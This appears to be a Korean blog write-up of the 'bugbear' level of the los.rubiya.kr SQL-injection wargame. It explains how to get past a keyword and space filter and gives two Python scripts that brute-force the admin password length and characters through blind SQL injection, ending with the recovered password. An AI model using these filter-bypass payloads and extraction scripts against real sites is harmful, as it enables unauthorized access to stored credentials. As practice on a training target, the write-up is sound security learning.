본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] bugbear #13

by 낭람_ 2018. 8. 28.
반응형

[bugbear]




이번 문제는 preg_match함수에 의해 싱글쿼터, substr, ascii, =, or, and, 공백, like 가 막혀있다.

웬만한거는 거의 다 막아높은것 같다. 우선 싱글쿼터는 더블쿼터로, substr은 left, ascii는 우회를 안해도 될것 같고

=, like 대신 in을 or는 ||, and는 &&로 공백은 탭이나 개행으로 우회를 하면 비밀번호를 구할 수 있을것 같다.

우선 length함수로 길이를 구하고, left를 통해 비밀번호를 구하자.

?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(숫자) 이런식으로 길이를 알아내고

?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0aleft(pw,1)%0ain%0a("문자")로 비밀번호를 알아내면 된다.


import requests

for admin_len in range(99) :
URL='http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
query={'no': '""\n||\nid\nin\n("admin")\n&&\nlength(pw)\nin\n('+str(admin_len)+')'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break


위의 python을 실행시키면 비밀번호의 길이는 8이라는것을 알수 있다.


import requests

password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
query={'no': '""\n||\nid\nin\n("admin")\n&&\nleft(pw,'+str(admin_len+1)+')\nin\n("'+password+chr(admin_pass)+'")'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '2uop4tsvpkjlamhuuq5fgpan10'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break


위의 python을 실행시키면 비밀번호는 '52dc3991'이라는것을 알 수 있다.

?pw=52dc3991을 입력하면 클리어!



반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] assassin #15  (0) 2018.09.17
[los.rubiya.kr] giant #14  (0) 2018.09.12
[los.rubiya.kr] darkknight #12  (0) 2018.08.26
[los.rubiya.kr] golem #11  (0) 2018.08.26
[los.rubiya.kr] skeleton #10  (0) 2018.08.26

댓글